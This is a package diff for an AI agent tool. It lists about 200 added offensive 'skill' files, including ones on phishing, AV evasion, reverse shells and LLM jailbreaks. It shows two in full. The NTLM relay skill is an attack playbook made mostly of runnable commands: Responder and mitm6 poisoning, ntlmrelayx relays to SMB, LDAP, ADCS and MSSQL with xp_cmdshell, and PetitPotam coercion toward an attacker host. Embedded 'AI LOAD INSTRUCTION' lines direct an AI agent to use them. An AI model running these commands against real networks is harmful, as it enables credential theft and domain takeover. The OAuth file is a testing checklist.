ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,267 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ntlm-relay-coercion
|
|
3
|
+
description: >-
|
|
4
|
+
NTLM relay and authentication coercion playbook. Use when capturing and relaying NTLM authentication to escalate privileges via SMB, LDAP, HTTP, or MSSQL relay targets, combined with PetitPotam, PrinterBug, and other coercion methods.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ESC8 (relay to ADCS enrollment)
|
|
16
|
+
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL modification via LDAP relay (RBCD, shadow creds)
|
|
17
|
+
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks after relay success
|
|
18
|
+
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for post-relay lateral movement
|
|
19
|
+
|
|
20
|
+
### Advanced Reference
|
|
21
|
+
|
|
22
|
+
Also load [COERCION_METHODS.md](./COERCION_METHODS.md) when you need:
|
|
23
|
+
- Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
|
|
24
|
+
- RPC function-level details and prerequisites
|
|
25
|
+
- Coercer tool usage and discovery
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 1. NTLM RELAY FUNDAMENTALS
|
|
30
|
+
|
|
31
|
+
```
|
|
32
|
+
Victim Attacker (relay) Target
|
|
33
|
+
│ │ │
|
|
34
|
+
│── NTLM Auth ──→│ │ (1) Victim authenticates (coerced/poisoned)
|
|
35
|
+
│ │── Forward Auth ─────→│ (2) Attacker relays to target
|
|
36
|
+
│ │←─ Challenge ──────── │ (3) Target sends challenge
|
|
37
|
+
│←─ Challenge ────│ │ (4) Attacker forwards challenge to victim
|
|
38
|
+
│── Response ────→│ │ (5) Victim computes response
|
|
39
|
+
│ │── Forward Response ─→│ (6) Attacker relays response to target
|
|
40
|
+
│ │←─ Authenticated! ────│ (7) Target accepts → attacker has session
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### NTLMv1 vs NTLMv2
|
|
44
|
+
|
|
45
|
+
| Feature | NTLMv1 | NTLMv2 |
|
|
46
|
+
|---|---|---|
|
|
47
|
+
| Security | Weak (crackable to NTLM hash) | Stronger (but still relayable) |
|
|
48
|
+
| Relay | Yes | Yes |
|
|
49
|
+
| Crack to hash | Yes (rainbow tables, crack.sh) | Offline brute-force only |
|
|
50
|
+
| Downgrade | Force via Responder `--lm` | Default in modern Windows |
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## 2. RELAY TARGET MATRIX
|
|
55
|
+
|
|
56
|
+
| Target Protocol | What You Get | Signing Required by Default? | EPA/Channel Binding? |
|
|
57
|
+
|---|---|---|---|
|
|
58
|
+
| **SMB** | Command exec (if admin), file access | **DCs: Yes**, Workstations: No | No |
|
|
59
|
+
| **LDAP** | ACL modification, RBCD, shadow creds, add computer | **DCs: No** (negotiated) | No (unless configured) |
|
|
60
|
+
| **LDAPS** | Same as LDAP but encrypted | N/A | **Yes** (channel binding) |
|
|
61
|
+
| **HTTP (ADCS)** | Certificate enrollment (ESC8) | No | Depends on config |
|
|
62
|
+
| **MSSQL** | SQL queries, xp_cmdshell | No | No |
|
|
63
|
+
| **IMAP/SMTP** | Email access | No | No |
|
|
64
|
+
| **RPC** | Various (CA enrollment for ESC11) | Depends | No |
|
|
65
|
+
|
|
66
|
+
### Signing Check
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Check SMB signing on target
|
|
70
|
+
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
|
|
71
|
+
# Outputs hosts WITHOUT required SMB signing
|
|
72
|
+
|
|
73
|
+
# Nmap SMB signing check
|
|
74
|
+
nmap -p 445 --script smb2-security-mode TARGET_RANGE
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## 3. RESPONDER — CREDENTIAL CAPTURE
|
|
80
|
+
|
|
81
|
+
### LLMNR/NBT-NS/WPAD/mDNS Poisoning
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
# Start Responder (capture mode — don't relay, just capture hashes)
|
|
85
|
+
responder -I eth0 -dwP
|
|
86
|
+
|
|
87
|
+
# Analyze mode (passive, no poisoning)
|
|
88
|
+
responder -I eth0 -A
|
|
89
|
+
|
|
90
|
+
# Key protocols poisoned:
|
|
91
|
+
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
|
|
92
|
+
# NBT-NS (UDP 137) — NetBIOS Name Service
|
|
93
|
+
# WPAD — Web Proxy Auto-Discovery (proxy config)
|
|
94
|
+
# mDNS (UDP 5353) — Multicast DNS
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### Responder + Relay (Don't Capture, Relay Instead)
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
|
|
101
|
+
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off
|
|
102
|
+
|
|
103
|
+
# Start Responder for poisoning only
|
|
104
|
+
responder -I eth0 -dwP
|
|
105
|
+
|
|
106
|
+
# Start ntlmrelayx for relay
|
|
107
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 4. NTLMRELAYX — RELAY EXECUTION
|
|
113
|
+
|
|
114
|
+
### Relay to SMB (Admin Execution)
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
# Execute command on targets (requires admin privs on target)
|
|
118
|
+
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
|
|
119
|
+
|
|
120
|
+
# Dump SAM hashes
|
|
121
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
122
|
+
|
|
123
|
+
# Interactive SOCKS proxy (maintain sessions)
|
|
124
|
+
ntlmrelayx.py -tf targets.txt -smb2support -socks
|
|
125
|
+
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
### Relay to LDAP (ACL Modification)
|
|
129
|
+
|
|
130
|
+
```bash
|
|
131
|
+
# Automatic RBCD (delegate-access)
|
|
132
|
+
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
|
|
133
|
+
|
|
134
|
+
# Escalate via shadow credentials
|
|
135
|
+
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support
|
|
136
|
+
|
|
137
|
+
# Add computer account
|
|
138
|
+
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support
|
|
139
|
+
|
|
140
|
+
# Dump domain info
|
|
141
|
+
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### Relay to ADCS HTTP (ESC8)
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
|
|
148
|
+
--adcs --template DomainController
|
|
149
|
+
|
|
150
|
+
# Use with coercion to relay DC auth → get DC certificate
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### Relay to MSSQL
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## 5. MITM6 — IPv6 DNS TAKEOVER
|
|
162
|
+
|
|
163
|
+
```bash
|
|
164
|
+
# mitm6 exploits IPv6 auto-configuration to become DNS server
|
|
165
|
+
mitm6 -d domain.com
|
|
166
|
+
|
|
167
|
+
# Combined with ntlmrelayx
|
|
168
|
+
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support
|
|
169
|
+
|
|
170
|
+
# Flow:
|
|
171
|
+
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
|
|
172
|
+
# 2. Victim queries WPAD → attacker responds
|
|
173
|
+
# 3. NTLM auth triggered → relayed to LDAP
|
|
174
|
+
# 4. RBCD or shadow credentials set on victim computer
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## 6. CROSS-PROTOCOL RELAY
|
|
180
|
+
|
|
181
|
+
### SMB → LDAP
|
|
182
|
+
|
|
183
|
+
Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# Coerce SMB auth from DC, relay to LDAP on same or different DC
|
|
187
|
+
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support
|
|
188
|
+
|
|
189
|
+
# Trigger coercion (attacker receives SMB auth)
|
|
190
|
+
PetitPotam.py ATTACKER_IP DC01_IP
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
**Limitation**: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.
|
|
194
|
+
|
|
195
|
+
### WebDAV → LDAP
|
|
196
|
+
|
|
197
|
+
WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
|
|
201
|
+
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
|
|
202
|
+
|
|
203
|
+
# Coerce via WebDAV (workstation must have WebClient service running)
|
|
204
|
+
# Use @ATTACKER_PORT format to force WebDAV
|
|
205
|
+
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## 7. WEBDAV-BASED COERCION
|
|
211
|
+
|
|
212
|
+
WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# Check if WebClient is running (port 80 listener or service query)
|
|
216
|
+
crackmapexec smb TARGET -u user -p pass -M webdav
|
|
217
|
+
|
|
218
|
+
# Start WebDAV coercion (from workstation, not server)
|
|
219
|
+
# Force target to authenticate via HTTP:
|
|
220
|
+
# Use UNC path format: \\ATTACKER@PORT\share
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
**Key advantage**: HTTP-based NTLM avoids SMB signing requirements.
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## 8. NTLM RELAY DECISION TREE
|
|
228
|
+
|
|
229
|
+
```
|
|
230
|
+
Want to relay NTLM authentication
|
|
231
|
+
│
|
|
232
|
+
├── What auth can you capture?
|
|
233
|
+
│ ├── Responder poisoning (passive, wait for queries)
|
|
234
|
+
│ ├── mitm6 (DHCPv6 DNS takeover, periodic)
|
|
235
|
+
│ └── Active coercion → load COERCION_METHODS.md
|
|
236
|
+
│
|
|
237
|
+
├── What target to relay to?
|
|
238
|
+
│ │
|
|
239
|
+
│ ├── Need code execution?
|
|
240
|
+
│ │ ├── SMB target without signing → ntlmrelayx to SMB (§4)
|
|
241
|
+
│ │ └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
|
|
242
|
+
│ │
|
|
243
|
+
│ ├── Need domain escalation?
|
|
244
|
+
│ │ ├── LDAP signing not enforced?
|
|
245
|
+
│ │ │ ├── Relay to LDAP → RBCD (§4)
|
|
246
|
+
│ │ │ ├── Relay to LDAP → shadow credentials (§4)
|
|
247
|
+
│ │ │ └── Relay to LDAP → add computer + delegate (§4)
|
|
248
|
+
│ │ └── LDAP signing enforced?
|
|
249
|
+
│ │ └── Relay to ADCS HTTP (ESC8) → certificate (§4)
|
|
250
|
+
│ │
|
|
251
|
+
│ └── Need certificate?
|
|
252
|
+
│ └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
|
|
253
|
+
│
|
|
254
|
+
├── Source is SMB-based?
|
|
255
|
+
│ ├── Target is SMB → check signing (§2)
|
|
256
|
+
│ ├── Target is LDAP → may work (cross-protocol, §6)
|
|
257
|
+
│ └── Target is HTTP → works (cross-protocol)
|
|
258
|
+
│
|
|
259
|
+
├── Source is HTTP-based (WebDAV)?
|
|
260
|
+
│ └── Relay to any target (no signing issues, §6/§7)
|
|
261
|
+
│
|
|
262
|
+
└── Relay fails?
|
|
263
|
+
├── Check signing requirements (§2)
|
|
264
|
+
├── Check EPA/channel binding
|
|
265
|
+
├── Try cross-protocol (SMB → LDAP)
|
|
266
|
+
└── Try WebDAV coercion (avoids SMB signing)
|
|
267
|
+
```
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: oauth-oidc-misconfiguration
|
|
3
|
+
description: >-
|
|
4
|
+
OAuth and OIDC misconfiguration testing playbook. Use when reviewing redirect URI handling, state and nonce validation, PKCE, token audience, callback binding, and identity-provider trust flaws.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: OAuth and OIDC Misconfiguration — Redirects, PKCE, Scopes, and Token Binding
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Use this skill when the target uses OAuth 2.0 or OpenID Connect and you need a focused misconfiguration checklist: redirect URI validation, state and nonce handling, PKCE enforcement, token audience, and account binding mistakes.
|
|
10
|
+
|
|
11
|
+
## 1. WHEN TO LOAD THIS SKILL
|
|
12
|
+
|
|
13
|
+
Load when:
|
|
14
|
+
|
|
15
|
+
- The app supports `Login with Google`, GitHub, Microsoft, Okta, or other IdPs
|
|
16
|
+
- You see `authorize`, `callback`, `redirect_uri`, `code`, `state`, `nonce`, or `code_challenge`
|
|
17
|
+
- Mobile or SPA clients rely on OAuth or OIDC flows
|
|
18
|
+
|
|
19
|
+
For token cryptography and JWT header abuse, also load:
|
|
20
|
+
|
|
21
|
+
- [jwt oauth token attacks](../jwt-oauth-token-attacks/SKILL.md)
|
|
22
|
+
|
|
23
|
+
## 2. HIGH-VALUE MISCONFIGURATION CHECKS
|
|
24
|
+
|
|
25
|
+
| Theme | What to Check |
|
|
26
|
+
|---|---|
|
|
27
|
+
| `state` handling | missing, static, predictable, or not bound to user session |
|
|
28
|
+
| `redirect_uri` validation | prefix match, open redirect chaining, path confusion, localhost leftovers |
|
|
29
|
+
| PKCE | missing for public clients, code verifier not enforced, downgraded flow |
|
|
30
|
+
| OIDC `nonce` | missing or not validated on ID token return |
|
|
31
|
+
| token audience and issuer | weak `aud` / `iss` checks, cross-client token reuse |
|
|
32
|
+
| account binding | callback binds attacker identity to victim session |
|
|
33
|
+
| scope handling | broader scopes granted than the user or client should receive |
|
|
34
|
+
|
|
35
|
+
## 3. QUICK TRIAGE
|
|
36
|
+
|
|
37
|
+
1. Map the full flow: authorize, callback, token exchange, logout.
|
|
38
|
+
2. Replay callback flows with altered `state`, `nonce`, and `redirect_uri`.
|
|
39
|
+
3. Compare SPA, mobile, and web clients for weaker validation.
|
|
40
|
+
4. Check whether one provider account can be rebound to another local account.
|
|
41
|
+
|
|
42
|
+
## 4. RELATED ROUTES
|
|
43
|
+
|
|
44
|
+
- CORS or cross-origin token exposure: [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md)
|
|
45
|
+
- XML federation or enterprise SSO: [saml sso assertion attacks](../saml-sso-assertion-attacks/SKILL.md)
|
|
46
|
+
